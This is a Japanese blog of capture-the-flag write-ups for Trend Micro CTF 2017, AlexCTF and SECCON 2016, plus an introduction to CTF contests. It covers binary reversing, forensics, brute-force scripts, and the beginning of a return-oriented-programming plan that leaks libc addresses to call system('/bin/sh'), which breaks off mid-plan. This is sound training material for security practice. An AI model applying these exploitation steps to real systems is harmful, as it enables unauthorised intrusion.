Trend Micro CTF 2017 Online Qualifier writeup
Trend Micro CTF 2017 Online Qualifier writeup
いつもの yharima
で参加.
結果は 500pts で 88th でした.微妙.
Windows バイナリを解析する力が足りない事を実感した.厳しい.
自分が解いた2問の writeup を書いておきます.
Reversing 100
記憶が微妙だけど落としてきたファイルを解凍すると, biscuit1
と biscuit2
が出てきたはず.
biscuit2
zip で暗号化されているので,まず biscuit1
を解析していく.
biscuit1
は Windows バイナリなので ollydbg に投げつけて実行してみる.
まず実行すると Please find sweets name staring from m for biscuit2.
と出るので,
更にステップ実行しながらレジスタをみていると m
から始まる英単語がいくつかでてくる.
適当にでてきたやつを入れていくと macaron
で解凍できた.
解凍するとさらに biscuit3
, biscuit4
, biscuit5
が出て来る.
biscuit3
は jpeg で開いてもビスケットな画像だけ.
思考停止して binwalk してみると,
$ binwalk biscuit3.jpg DECIMAL HEXADECIMAL DESCRIPTION -------------------------------------------------------------------------------- 0 0x0 JPEG image data, JFIF standard 1.01 382 0x17E Copyright string: "Copyright (c) 1998 Hewlett-Packard Company" 14253 0x37AD Zip archive data, at least v1.0 to extract, compressed size: 5, uncompressed size: 5, name: biscuit.txt 14356 0x3814 End of Zip archive
なんか text ファイルが入っているので展開してみると中に, cream
と書いてあるファイルがあるので,これがフラグの一部だと思われる.
続いて biscuit4
を見てるみるとただの text ファイルで以下のような内容.
$ cat biscuit4 Please create flag. hint: Flag = TMCTF{biscuit3_ biscuit5}
なるほど,ヒントで, biscuit3
は解析が終わっているのであとは biscuit5
を解析する必要がある.
biscuit5
はまた Windows バイナリなので ollydbg にかける.
適当にステップ実行して RET あたりのレジスタをみてみると choux
という文字列が入ってるのでこれっぽい.
あとは,ヒントのよおり TMCTF{cream_ choux}
とかで投げてみたけど通らない.
試行錯誤しているうちに最終的には TMCTF{choux_cream}
で通った記憶.謎かった.
Analysis-Offensive 100
解凍すると Forensic_Encyption
が出て来るので file
にかけると,
$ file Forensic_Encyption Forensic_Encyption: MS-DOS executable, MZ for MS-DOS
えっ…,ちょっと binwalk してみよう.
$ binwalk Forensic_Encyption DECIMAL HEXADECIMAL DESCRIPTION -------------------------------------------------------------------------------- 13390 0x344E Zip archive data, at least v2.0 to extract, compressed size: 16181, uncompressed size: 20874, name: file_1 29607 0x73A7 Zip archive data, at least v2.0 to extract, compressed size: 378, uncompressed size: 418, name: file_2 30177 0x75E1 End of Zip archive
なんか埋め込まれてるので展開すると file_1
と file_2
が出て来る.
まず file_1
をみてみると. jpeg で開いてみるとなんか smily な画像が出てくるだけ.
binwalk してみても特に何もなさそうなので exiftool にかけると,
$ exiftool file_1 ExifTool Version Number : 10.20 File Name : file_1 (snip) User Comment : VHVyaW5nX01hY2hpbmVfYXV0b21hdG9u (snip)
なんか怪しいユーザコメントがある. base64 っぽいのでデコードすると,
$ exiftool file_1 | grep "User Comment" | awk '{print $4}' | base64 -D Turing_Machine_automaton
file_2
をみてみると zip で解凍しようとすると,
$ unzip file_2 Archive: file_2 skipping: key.txt unsupported compression method 99
なんか適当に調べていると 7z で解凍できるらしい.
$ 7z e file_2 // パスワードは `Turing_Machine_automaton`
で解凍できた. key.txt
がフラグかーと思ってみてみると…
$ cat key.txt src 192.168.30.211 dst 192.168.30.251 proto esp spi 0xc300fae7 reqid 1 mode transport replay-window 32 auth hmac(sha1) 0x2f279b853294aad4547d5773e5108de7717f5284 enc cbc(aes) 0x9d1d2cfa9fa8be81f3e735090c7bd272 sel src 192.168.30.211/32 dst 192.168.30.251/32 src 192.168.30.251 dst 192.168.30.211 proto esp spi 0xce66f4fa reqid 1 mode transport replay-window 32 auth hmac(sha1) 0x3bf9c1a31f707731a762ea45a85e21a2192797a3 enc cbc(aes) 0x886f7e33d21c79ea5bac61e3e17c0422 sel src 192.168.30.251/32 dst 192.168.30.211/32
あれ…,これは IPSec とかの通信を復号するときに使える鍵とかの情報….
でも pcap なんかなかったしどういうことなの…と思って,
元の Forensic_Encyption
を strings してみると, file_3
なる文字列がみえる.
これは何か足りていないような気がするけどなんで binwalk で展開できないのかと思い,
バイナリエディタで開いて眺めてみると…,先頭は以下のようになっている.
0000000: 4d5a 0304 1400 0000 0800 f484 af4a bc79 MZ...........J.y
まあ先頭が MZ
なんだから MS-DOS executable, MZ for MS-DOS
なんだろう….
03 04 14
ってなんか特徴のありそうな16進数のように思えたのでググってみると,
50 4b 03 04 14
が PKZip らしい.あれこれ書き換えられてる…と思って 4d5a
=> 504b
にして binwalk すると,
$ binwalk Forensic_Encyption DECIMAL HEXADECIMAL DESCRIPTION -------------------------------------------------------------------------------- 0 0x0 Zip archive data, at least v2.0 to extract, compressed size: 13354, uncompressed size: 31112, name: file_3 13390 0x344E Zip archive data, at least v2.0 to extract, compressed size: 16181, uncompressed size: 20874, name: file_1 29607 0x73A7 Zip archive data, at least v2.0 to extract, compressed size: 378, uncompressed size: 418, name: file_2 30177 0x75E1 End of Zip archive
file_3
でてきた.そしてこいつを wireshark で開くと開ける!
さっきの key.txt を Preferences => Protocol => ESP から入れて復号して,
192.168.30.211
でフィルタすると HTTP 通信があって index.html がある.
こいつを開くと,
$ cat index.html <HTML> <BODY> M4 Navy Reflector:C Thin, beta, I, IV, II (T M J F), Plugboard: L-X/A-C/B-Y TMCTF{APZTQQHYCKDLQZRG} APZTQQHYCKDLQZRG is encrypted. </BODY> </HTML>
まだ暗号化されてるのか…, M4
, Naby
, Reflector
, Plugboard
などで検索すると,
どうやらエニグマを使って暗号化されているらしい.
チーム部屋に投げると,エニグマのシミュレータが貼られたのでポチポチそれっぽい設定をする.
最終的には以下のような設定にすると,意味のあるワードになったので投げてみた(しかし設定ミスしていることにあとできづいた).
TMCTF{RISINGSUNANDMOON}
がフラグだった.
Analysis-Offensive 200(WIP)
入力は 8文字の数字.これを AABBCCDD
と表すと以下の条件を満たす必要がありそう.
- 入力された8桁は素数
- AA と BB は素数
- CC は 平方数
- (AABB ^ (CC * CC)) >> 8 が 0
AABBCCDDValidate Flag:
を文字としてみて全部足した結果から 0x120 を引いた結果も素数
これの中でもっとも大きい数字は 43436447
っぽく,これを入れて出力される flag.txt は TMCTF{434364}
.
これを入力しても通らずほぼすべての時間を溶かして死亡しました…. :sob:
AlexCTF writeup
AlexCTF writeup
いつものチームで参加.
結果は 105th, 1740pts で結構頑張った.
自分が解いた問題の writeup を書きます.
(追記)
暗号系をメインに問いてくれたメンバーの writeup をおいておきます.
liniku.hatenablog.com
RE1: Gifted
思考停止して strings するだけだった.
$ strings gifted | grep AlexCTF AlexCTF{Y0u_h4v3_45t0n15h1ng_futur3_1n_r3v3r5ing}
RE2: C++ is awesome
実行すると引数にフラグを与える様子.
何度か適当な文字列を入れて実行してみると,
$ ./re2 aaaa Better luck next time $ ./re2 ALEX You should have the flag by now
どうやら,引数にとる文字列が途中まででも良いので正しければ出力が変わるっぽい.
ということなので以下みたいなクソみたいなスクリプトを書いて,1文字づつ確かめていった.
#!/bin/bash for c in a b c d e f g h i j k l m n o p q r s t u v w x y z A B C D E F G H I J K L M N O P Q R S T U V W X Y Z 0 1 2 3 4 5 6 7 8 9 _ { }; do echo -n "$c: " ./re2 $1$c done
以下のように実行.フラグとして完成しても “L” がまだ出るのだけどどうもいらない模様だった.
$ ./re2.sh ALEXCTF{W3_L0v3_C_W1th_CL45535} | grep "You should" L: You should have the flag by now
RE3: Catalyst system
とても時間がかかった….
ひとまず実行してみると “Loading…” みたいな感じで何もできない.
ひとまず objdump してみると sleep してたりするところがあって,
どうも rand した値によって再び sleep するかどうかを判定しているようだった.
400e83: e8 d8 f8 ff ff call 400760 <sleep@plt> 400e88: bf 2e 00 00 00 mov edi,0x2e 400e8d: e8 2e f8 ff ff call 4006c0 <putchar@plt> 400e92: 48 8b 05 2f 12 20 00 mov rax,QWORD PTR [rip+0x20122f] # 6020c8 <stdout> 400e99: 48 89 c7 mov rdi,rax 400e9c: e8 8f f8 ff ff call 400730 <fflush@plt> 400ea1: 83 45 fc 01 add DWORD PTR [rbp-0x4],0x1 400ea5: 83 7d fc 1d cmp DWORD PTR [rbp-0x4],0x1d 400ea9: 7e bc jle 400e67 <rand@plt+0x6f7>
上記のような箇所が2箇所あるので以下のような感じで jle を潰した.
0x00000EAA 7E 90 0x00000EAB BC 90 0x00000F63 7E 90 0x00000F64 C2 90
これでようやく入力を受けつけるところにいける.
Username と Password を求められるので適当に実行してみるがよくわからず.
ひとまず Username を解析していくと…,
400cdd: 55 push rbp 400cde: 48 89 e5 mov rbp,rsp 400ce1: 48 83 ec 30 sub rsp,0x30 400ce5: 48 89 7d d8 mov QWORD PTR [rbp-0x28],rdi 400ce9: 48 8b 45 d8 mov rax,QWORD PTR [rbp-0x28] 400ced: 48 89 45 f8 mov QWORD PTR [rbp-0x8],rax 400cf1: 48 8b 45 f8 mov rax,QWORD PTR [rbp-0x8] 400cf5: 8b 00 mov eax,DWORD PTR [rax] 400cf7: 89 c0 mov eax,eax 400cf9: 48 89 45 f0 mov QWORD PTR [rbp-0x10],rax 400cfd: 48 8b 45 f8 mov rax,QWORD PTR [rbp-0x8] 400d01: 48 83 c0 04 add rax,0x4 400d05: 8b 00 mov eax,DWORD PTR [rax] 400d07: 89 c0 mov eax,eax 400d09: 48 89 45 e8 mov QWORD PTR [rbp-0x18],rax 400d0d: 48 8b 45 f8 mov rax,QWORD PTR [rbp-0x8] 400d11: 48 83 c0 08 add rax,0x8 400d15: 8b 00 mov eax,DWORD PTR [rax] 400d17: 89 c0 mov eax,eax 400d19: 48 89 45 e0 mov QWORD PTR [rbp-0x20],rax 400d1d: 48 8b 45 f0 mov rax,QWORD PTR [rbp-0x10] 400d21: 48 2b 45 e8 sub rax,QWORD PTR [rbp-0x18] 400d25: 48 89 c2 mov rdx,rax 400d28: 48 8b 45 e0 mov rax,QWORD PTR [rbp-0x20] 400d2c: 48 01 d0 add rax,rdx 400d2f: 48 3d 56 4b 66 5c cmp rax,0x5c664b56 400d35: 75 45 jne 400d7c <rand@plt+0x60c> 400d37: 48 8b 55 f0 mov rdx,QWORD PTR [rbp-0x10] 400d3b: 48 8b 45 e0 mov rax,QWORD PTR [rbp-0x20] 400d3f: 48 01 c2 add rdx,rax 400d42: 48 89 d0 mov rax,rdx 400d45: 48 01 c0 add rax,rax 400d48: 48 01 c2 add rdx,rax 400d4b: 48 8b 45 e8 mov rax,QWORD PTR [rbp-0x18] 400d4f: 48 01 c2 add rdx,rax 400d52: 48 b8 b2 c7 00 e7 02 mov rax,0x2e700c7b2 400d59: 00 00 00 400d5c: 48 39 c2 cmp rdx,rax 400d5f: 75 1b jne 400d7c <rand@plt+0x60c> 400d61: 48 8b 45 e8 mov rax,QWORD PTR [rbp-0x18] 400d65: 48 0f af 45 e0 imul rax,QWORD PTR [rbp-0x20] 400d6a: 48 89 c2 mov rdx,rax 400d6d: 48 b8 14 d3 6a 9a 68 mov rax,0x32ac30689a6ad314 400d74: 30 ac 32 400d77: 48 39 c2 cmp rdx,rax 400d7a: 74 14 je 400d90 <rand@plt+0x620> 400d7c: bf 69 10 40 00 mov edi,0x401069 400d81: e8 4a f9 ff ff call 4006d0 <puts@plt> 400d86: bf 00 00 00 00 mov edi,0x0 400d8b: e8 c0 f9 ff ff call 400750 <exit@plt> 400d90: 90 nop 400d91: c9 leave 400d92: c3 ret
こんな感じでやる気がなくなりそうになりながらも解析していく.
ユーザ名は12文字で,ひとまず XXXXYYYYZZZZ
とすると,
rbp - 0x10 = "XXXX"
, rbp - 0x18 = "YYYY"
, rbp - 0x20 = "ZZZZ"
で,
XXXX = X, YYYY = Y, ZZZZ = Z とおくと,上記の部分は以下の式を満たす X, Y, Z である必要がある.
X - Y + Z == 0x5c664b56 3X + Y + 3Z == 0x2e700c7b2 Y * Z == 0x32ac30689a6ad314
適当に計算すると,
X = 0x61746163 // cata Y = 0x7473796c // lyst Z = 0x6f65635f // _ceo
で username は catalyst_ceo
であることがわかった.
次にパスワードを解析していく.パスワードは以下のようなコードで比較している.
400a4c: 48 8b 45 e0 mov rax,QWORD PTR [rbp-0x20] 400a50: 8b 10 mov edx,DWORD PTR [rax] 400a52: 48 8b 45 e0 mov rax,QWORD PTR [rbp-0x20] 400a56: 48 83 c0 04 add rax,0x4 400a5a: 8b 00 mov eax,DWORD PTR [rax] 400a5c: 01 c2 add edx,eax 400a5e: 48 8b 45 e0 mov rax,QWORD PTR [rbp-0x20] 400a62: 48 83 c0 08 add rax,0x8 400a66: 8b 00 mov eax,DWORD PTR [rax] 400a68: 01 d0 add eax,edx 400a6a: 89 c7 mov edi,eax 400a6c: e8 8f fc ff ff call 400700 <srand@plt> 400a71: 48 8b 45 d8 mov rax,QWORD PTR [rbp-0x28] 400a75: 8b 18 mov ebx,DWORD PTR [rax] 400a77: e8 f4 fc ff ff call 400770 <rand@plt> 400a7c: 29 c3 sub ebx,eax 400a7e: 89 d8 mov eax,ebx 400a80: 3d 2a 05 eb 55 cmp eax,0x55eb052a 400a85: 74 14 je 400a9b <rand@plt+0x32b> 400a87: bf 69 10 40 00 mov edi,0x401069 400a8c: e8 3f fc ff ff call 4006d0 <puts@plt> 400a91: bf 00 00 00 00 mov edi,0x0 400a96: e8 b5 fc ff ff call 400750 <exit@plt>
srand に渡っているのは X + Y + Z とユーザ名を4文字づつに区切って足した結果だった.
これで常にシードは固定されているので rand の値は一意に定まる.
パスワードの4文字 - rand() = 0x55eb052a(ここの16進数は上記逆汗結果の後続にあと9個ある)
で比較しているので,
パスワード4文字は 0x55eb052a - rand()
で求まる.
ltrace とかすると rand によって吐かれた値はわかるので,あとは objdump の結果から計算していく.
最終的には, sLSVpQ4vK3cGWyW86AiZhggwLHBjmx9CRspVGggj
というパスワードが得られる.
あとは,求めたユーザ名とパスワードを入力するとフラグに出る.
$ ./catalyst ▄▄▄▄▄▄▄▄▄▄▄ ▄ ▄▄▄▄▄▄▄▄▄▄▄ ▄ ▄ ▄▄▄▄▄▄▄▄▄▄▄ ▄▄▄▄▄▄▄▄▄▄▄ ▄▄▄▄▄▄▄▄▄▄▄ ▐░░░░░░░░░░░▌▐░▌ ▐░░░░░░░░░░░▌▐░▌ ▐░▌▐░░░░░░░░░░░▌▐░░░░░░░░░░░▌▐░░░░░░░░░░░▌ ▐░█▀▀▀▀▀▀▀█░▌▐░▌ ▐░█▀▀▀▀▀▀▀▀▀ ▐░▌ ▐░▌ ▐░█▀▀▀▀▀▀▀▀▀ ▀▀▀▀█░█▀▀▀▀ ▐░█▀▀▀▀▀▀▀▀▀ ▐░▌ ▐░▌▐░▌ ▐░▌ ▐░▌ ▐░▌ ▐░▌ ▐░▌ ▐░▌ ▐░█▄▄▄▄▄▄▄█░▌▐░▌ ▐░█▄▄▄▄▄▄▄▄▄ ▐░▐░▌ ▐░▌ ▐░▌ ▐░█▄▄▄▄▄▄▄▄▄ ▐░░░░░░░░░░░▌▐░▌ ▐░░░░░░░░░░░▌ ▐░▌ ▐░▌ ▐░▌ ▐░░░░░░░░░░░▌ ▐░█▀▀▀▀▀▀▀█░▌▐░▌ ▐░█▀▀▀▀▀▀▀▀▀ ▐░▌░▌ ▐░▌ ▐░▌ ▐░█▀▀▀▀▀▀▀▀▀ ▐░▌ ▐░▌▐░▌ ▐░▌ ▐░▌ ▐░▌ ▐░▌ ▐░▌ ▐░▌ ▐░▌ ▐░▌▐░█▄▄▄▄▄▄▄▄▄ ▐░█▄▄▄▄▄▄▄▄▄ ▐░▌ ▐░▌ ▐░█▄▄▄▄▄▄▄▄▄ ▐░▌ ▐░▌ ▐░▌ ▐░▌▐░░░░░░░░░░░▌▐░░░░░░░░░░░▌▐░▌ ▐░▌▐░░░░░░░░░░░▌ ▐░▌ ▐░▌ ▀ ▀ ▀▀▀▀▀▀▀▀▀▀▀ ▀▀▀▀▀▀▀▀▀▀▀ ▀ ▀ ▀▀▀▀▀▀▀▀▀▀▀ ▀ ▀ Welcome to Catalyst systems Loading Username: catalyst_ceo Password: sLSVpQ4vK3cGWyW86AiZhggwLHBjmx9CRspVGggj Logging in your flag is: ALEXCTF{1_t41d_y0u_y0u_ar3__gr34t__reverser__s33}
RE4: unVM me
バイトコンパイルされた python が与えられる.
uncompyle2 を使ってデコンパイルする.
$ uncompyle2 unvm_me.pyc # 2017.02.06 19:16:30 JST #Embedded file name: unvm_me.py import md5 md5s = [174282896860968005525213562254350376167L, 137092044126081477479435678296496849608L, 126300127609096051658061491018211963916L, 314989972419727999226545215739316729360L, 256525866025901597224592941642385934114L, 115141138810151571209618282728408211053L, 8705973470942652577929336993839061582L, 256697681645515528548061291580728800189L, 39818552652170274340851144295913091599L, 65313561977812018046200997898904313350L, 230909080238053318105407334248228870753L, 196125799557195268866757688147870815374L, 74874145132345503095307276614727915885L] print 'Can you turn me back to python ? ...' flag = raw_input('well as you wish.. what is the flag: ') if len(flag) > 69: print 'nice try' exit() if len(flag) % 5 != 0: print 'nice try' exit() for i in range(0, len(flag), 5): s = flag[i:i + 5] if int('0x' + md5.new(s).hexdigest(), 16) != md5s[i / 5]: print 'nice try' exit() print 'Congratz now you have the flag'
どうやらフラグは65文字で5文字ずつ md5 と比較して一致するかどうかを判定している.
13個の md5 を16進数に変換して md5online に投げて結合した.
CR1: Ultracoded
ZERO と ONE が書かれたファイルが与えられる.
2進数かな?と重い ZERO = 0, ONE = 1 に置換する.
次に 8bit づつ区切って ASCII に変換すると以下のようになる.
Li0gLi0uLiAuIC0uLi0gLS4tLiAtIC4uLS4gLSAuLi4uIC4tLS0tIC4uLi4uIC0tLSAuLS0tLSAuLi4gLS0tIC4uLi4uIC4uLSAuLS0uIC4uLi0tIC4tLiAtLS0gLi4uLi4gLiAtLi0uIC4tLiAuLi4tLSAtIC0tLSAtIC0uLi0gLQ==
どうみても base64 なので decode すると,
$ echo "Li0gLi0uLiAuIC0uLi0gLS4tLiAtIC4uLS4gLSAuLi4uIC4tLS0tIC4uLi4uIC0tLSAuLS0tLSAuLi4gLS0tIC4uLi4uIC4uLSAuLS0uIC4uLi0tIC4tLiAtLS0gLi4uLi4gLiAtLi0uIC4tLiAuLi4tLSAtIC0tLSAtIC0uLi0gLQ==" | base64 -D .- .-.. . -..- -.-. - ..-. - .... .---- ..... --- .---- ... --- ..... ..- .--. ...-- .-. --- ..... . -.-. .-. ...-- - --- - -..- -
モールス信号なので適当なサイトに投げてデコードすると,
ALEXCTFTH15O1SO5UP3RO5ECR3TOTXT
このままではフラグの形式じゃないので
ALEXCTF{TH15O1SO5UP3RO5ECR3TOTXT}
としてみるも駄目.O
のところは普段 _
だよなぁ…とか思って置換したら正解だった.
Fore1: Hit the core
思考停止して strings してみると,
$ strings fore1.core (snip) cvqAeqacLtqazEigwiXobxrCrtuiTzahfFreqc{bnjrKwgk83kgd43j85ePgb_e_rwqr7fvbmHjklo3tews_hmkogooyf0vbnk0ii87Drfgh_n kiwutfb0ghk9ro987k5tfb_hjiouo087ptfcv} (snip)
大文字だけみると ALEXCTF になっている.先頭の cvq
を落として5文字ごとに読むとフラグになるのでは?
と思って適当なスクリプトで5文字ごと抜いてみるとフラグになった.
ALEXCTF{K33P_7H3_g00D_w0rk_up}
SC1: Math bot
nc すると計算式が与えられる.ひたすら解くゲーかと思って以下のような適当なスクリプトを書いて走らせた.
import sys import socket import struct s = socket.socket(socket.AF_INET, socket.SOCK_STREAM) s.connect(('195.154.53.62', 1337)) msg = s.recv(1024).strip().split('\n') s.send(str(eval(msg[22][:-2])) + '\n') while True: msg = s.recv(1024).strip().split('\n') print msg s.send(str(eval(msg[1][:-2])) + '\n')
実行すると,
['Question 500 :', '29361097422042903253933445930908 * 312827792771128387861804825784952 ='] ['Well no human got time to solve 500 ridiculous math challenges', 'Congrats MR bot!', 'Tell your human operator flag is: ALEXCTF{1_4M_l33t_b0t}']
な感じでフラグが取れた.
TR2: SSL 0day
騒ぎになった Heartbleed
だった.
TR3: CA
見てみると Let’s encrypt だったので,何度か入力すると letsencrypt
で正解だった.
CTF について
この記事は OIT Advent Calendar 2016 の 25 日目の記事です.
まさか空いているのが最終日しかなくてトリになるとは….
自己紹介
Twitter は yuta1024 というアカウントでやっています.
OIT は 2008年入学・2012年卒業でその後は他大学院に進学したので,大学を離れてもう4年以上になります.
HxS コンピュータサークルに所属していて,サーバ管理者をやっていました.
今は,東京のとある企業で社内開発者向けのプラットフォーム開発・運用などを行っています.
大学の後輩である odan3240 君との繋がりで,初めて Advent Calendar を書くことになりました.
何を書こうかと最後まで悩んで,最終的には今自分がハマっている CTF についての紹介をしたいと思います.
CTF とは
CTF(Capture The Flag) とは,コンピュータセキュリティ技術を競うコンテストです.
CTF は大きく分けると, Attack & Defence
と Jeopardy
と呼ばれる2つの種類があります.
Attack & Defence
Attack & Defence は,チームごとにサーバが与えられ,自分たちのサーバを守りながら,
相手のサーバの脆弱性をついて情報を奪ったり,ファイルを書き込んだりして点数を競います.
自分はこちらには参加したことがないので詳しくはないです….
Attack & Defence と少し似たものとしては Hardening というものがあります.
こちらも同様に,チームごとにサーバが与えられ,自分たちのサーバをひたすら守ります.
運営から8時間攻撃を受け続けながら,与えられたサービスを継続し続ける,というものです.
他チームに攻撃することはできず,ひたすら自分のチームのサーバを堅牢化(Hardening)します.
毎年2回沖縄で開催されているので,興味のある方は参加されてみてはどうでしょうか.
自分は,MINI Hardening と呼ばれる,1時間程度のまさしくミニなものに参加しました.
参加記録は以下の記事に書いたので興味のある方はご覧ください.
yuta1024.hateblo.jp
また,実は今年の夏に本家 Hardening にも応募し通ったので参加しました.
参加記録を書こうと思ったいたのですが,忙しく書く時間がないまま細かい記憶を失ってしまいました.
また,参加できたら今度こそ書きたい,と思っています.
Jeopardy
Jeopardy は,クイズ形式で問題が与えられその問題を解くとフラグを得ることができ,
回答サーバにそのフラグを送信すると点数を得れる,という形式です.
自分がよく参加しているのはこちらになります.
Online でよくコンテストが開催されているので参加しやすいという特徴もあります.
以下のサイトに今後のコンテストや過去のコンテストなどの情報がまとまっています.
ctftime.org
Jeopardy では,様々な問題がありジャンル分けされています.
代表的なジャンルについて簡単に私見を交えながら紹介したいと思います.
ジャンル内での代表的な問題を取り上げているので,同じジャンルでも少し異なる問題もあります.
Web
取っ付き易い反面,取っ掛かりがさっぱりわからなくて解けないことも多いジャンル.
XSS や SQL Injection などが題材になることも多いです.
有名どころの脆弱性なども出題されることがあるので,
世の中のトレンド?的なものを日々収集しているととっかかりになることもあります.
Forensics
画像やディスクイメージなどに隠されたフラグを見つける問題です.
最近は Network
もこのジャンルに吸収されつつある?ような感じで,
pcap などを解析もこのジャンルに含まれることがあります.
Crypto
暗号系の問題が出題され,復号することでフラグを得ます.
数学的知識なども必要でなかなか難しいジャンルです.
Reversing
Windows や Linux の実行ファイルを解析し,内部に隠されたフラグを取得するという問題です.
バイナリ力が必要となります. Web などに比べると取っ付きにくい印象があります.
Pwn
Reversing と似ていて実行ファイルを解析するのですが,その実行ファイルは運営側のサーバで起動しています.
そのため解析しバッファオーバーフローなどの脆弱性を見つけた後に,
exploit code を書きサーバに侵入することでフラグを得ることができます.
Reversing 同様,取っ付きにくい問題ですが,最近は pwn の問題が多いコンテストが多い印象を受けます.
コンテスト
初めてだとどのコンテストに参加して良いかわからない,ということも多いと思います.
が,自分もよくわかっていません.
とはいえ有名どころなどもあるのでそういったコンテストを紹介します.
DEF CON CTF
DEF CON と呼ばれるセキュリティカンファレンスにて毎年開催されるイベントの一つです.
予選は Online なので誰でも参加可能です.
しかし,最近の予選問題は Pwn まみれで binary con とか言われていたりします.
今年の予選の writeup を書いているので興味のある方はご覧ください.
yuta1024.hateblo.jp
SECCON CTF
国内で開催されているセキュリティコンテストです.予選は Online で誰でも参加可能です.
決勝はオンサイトで行われており競技内容は Attack & Defence なようです.
DEF CON CTF 同様に今年の予選の writeup を書いているので興味のある方はご覧ください.
yuta1024.hateblo.jp
CSAW CTF
難易度的にもほどほど(難しい問題は難しいですが)で比較的参加しやすい CTF だと思います.
毎年出ようと思って出れていない気がするのはなんでだろう….
Google CTF
Google 主催の CTF で今年から始まりました.来年があるかはわかりません.
内容は Android や Go など Google が開発したものが題材になっているものが多かったです.
こちらも参加した writeup を書いているので興味のある方はご覧ください.
yuta1024.hateblo.jp
IceCTF
個人的には難易度もほどほどで参加しやすかったような記憶があるコンテスト.
問題のジャンルも広くて,初めてでも手が出る問題も多いかも.
おわりに
さて,今回は CTF について紹介してみました.
うまく紹介できた気はまったくしませんが,これを機に興味を持たれた方は是非参加してみてください.
CTF の魅力はたくさんあると思いますが,自分が思う魅力は様々なことを問題を解きながら学ぶことができるというところです.
まだまだ自分も勉強が足りないので,来年も頑張っていきたいと思っています.
それでは皆様,メリークリスマス!そして,良いお年を.
SECCON 2016 Online writeup
SECCON 2016 Online writeup
yharima
チームで参加.結果は 500 pts 145 th でした.
今回はとても難しかった….まだまだ力不足を実感しました.頑張らなければ.
自分は2問 + 1問は手伝いという感じでした.
その手伝ったりしたメンバーのブログもおいておきます.
SECCON 2016 Online CTF Writeup | にろきのメモ帳
Vigenere
ヴィジュネル暗号で暗号化された文章を復号する問題.
key
の長さと plain
の一部および cipher
のすべて,そして md5(plain)
が与えられる.
ひとまずヴィジュネル暗号を Wikipedia で学習したあと復号していく.
SECCON{
までは plain
が分かっているので key
の先頭7文字がわかる.
あと md5(plain)
が与えられているので残り key
の末尾5文字を総当りで調べて md5 が一致するようにすれば良い.
最初は適当に手を抜いてコマンドの md5
を shell 経由で叩いていたけどおそすぎたので,
cpp で書き直した. md5 自体は適当にググってもってきたライブラリを使った.
クソみたいなコードは以下.
#include <iostream> #include <string> #include <vector> #include "md5.h" using namespace std; int c2i(char c) { if (c == '{') { return 26; } if (c == '}') { return 27; } return c - 'A'; } char i2c(int n) { if (n == 26) { return '{'; } if (n == 27) { return '}'; } return 'A' + n; } void solve(string& key, string& cipher, const vector<string>& v) { string plain(cipher.size(), '?'); for (unsigned int i = 0; i < cipher.size(); ++i) { const int kk = i % key.size(); if (key[kk] == '?') { continue; } const int y = c2i(key[kk]); for (int j = 0; j < v[y].size(); ++j) { if (v[y][j] == cipher[i]) { plain[i] = i2c(j); break; } } } if (md5(plain) == "f528a6ab914c1ecf856a1d93103948fe") { cout << plain << endl; } } int main() { string key = "VIGENER"; string cipher = "LMIG}RPEDOEEWKJIQIWKJWMNDTSR}TFVUFWYOCBAJBQ"; vector<string> v; v.push_back("ABCDEFGHIJKLMNOPQRSTUVWXYZ{}"); v.push_back("BCDEFGHIJKLMNOPQRSTUVWXYZ{}A"); v.push_back("CDEFGHIJKLMNOPQRSTUVWXYZ{}AB"); v.push_back("DEFGHIJKLMNOPQRSTUVWXYZ{}ABC"); v.push_back("EFGHIJKLMNOPQRSTUVWXYZ{}ABCD"); v.push_back("FGHIJKLMNOPQRSTUVWXYZ{}ABCDE"); v.push_back("GHIJKLMNOPQRSTUVWXYZ{}ABCDEF"); v.push_back("HIJKLMNOPQRSTUVWXYZ{}ABCDEFG"); v.push_back("IJKLMNOPQRSTUVWXYZ{}ABCDEFGH"); v.push_back("JKLMNOPQRSTUVWXYZ{}ABCDEFGHI"); v.push_back("KLMNOPQRSTUVWXYZ{}ABCDEFGHIJ"); v.push_back("LMNOPQRSTUVWXYZ{}ABCDEFGHIJK"); v.push_back("MNOPQRSTUVWXYZ{}ABCDEFGHIJKL"); v.push_back("NOPQRSTUVWXYZ{}ABCDEFGHIJKLM"); v.push_back("OPQRSTUVWXYZ{}ABCDEFGHIJKLMN"); v.push_back("PQRSTUVWXYZ{}ABCDEFGHIJKLMNO"); v.push_back("QRSTUVWXYZ{}ABCDEFGHIJKLMNOP"); v.push_back("RSTUVWXYZ{}ABCDEFGHIJKLMNOPQ"); v.push_back("STUVWXYZ{}ABCDEFGHIJKLMNOPQR"); v.push_back("TUVWXYZ{}ABCDEFGHIJKLMNOPQRS"); v.push_back("UVWXYZ{}ABCDEFGHIJKLMNOPQRST"); v.push_back("VWXYZ{}ABCDEFGHIJKLMNOPQRSTU"); v.push_back("WXYZ{}ABCDEFGHIJKLMNOPQRSTUV"); v.push_back("XYZ{}ABCDEFGHIJKLMNOPQRSTUVW"); v.push_back("YZ{}ABCDEFGHIJKLMNOPQRSTUVWX"); v.push_back("Z{}ABCDEFGHIJKLMNOPQRSTUVWXY"); v.push_back("{}ABCDEFGHIJKLMNOPQRSTUVWXYZ"); v.push_back("}ABCDEFGHIJKLMNOPQRSTUVWXYZ{"); for (int i = 0; i < v[0].size(); ++i) { for (int j = 0; j < v[0].size(); ++j) { for (int k = 0; k < v[0].size(); ++k) { for (int l = 0; l < v[0].size(); ++l) { for (int m = 0; m < v[0].size(); ++m) { string a = key + v[0][i] + v[0][j] + v[0][k] + v[0][l] + v[0][m]; solve(a, cipher, v); } } } } } return 0; }
cheer msg
objdump したり gdb で動かしたり,チームメンバーと相談したりと色々調べていると,
どうやら最初の Message Length
に負数を入れると esp を操作することができ,
message
関数内に入った後の入力で main 関数からの戻りアドレスを任意のものに書き換えれることが判明.
しかも, main 関数には stack_chk_fail
がないのでそのまま ROP につなげることができる.
ここまでわかれば,1回目はスタックを以下のように積んで got を leak させる.
------------------------ printf@plt のアドレス ------------------------ main 関数のアドレス ------------------------ 書式指定文字列(今回は `Message : %s` の一部を利用) ------------------------ setbuf@plt が指している GOT アドレス ------------------------
ここで leak した GOT のアドレスから libc の base アドレスがわかるので,
問題で配布されている libc から以下のように setbuf
, system
, /bin/sh
のアドレスを得る.
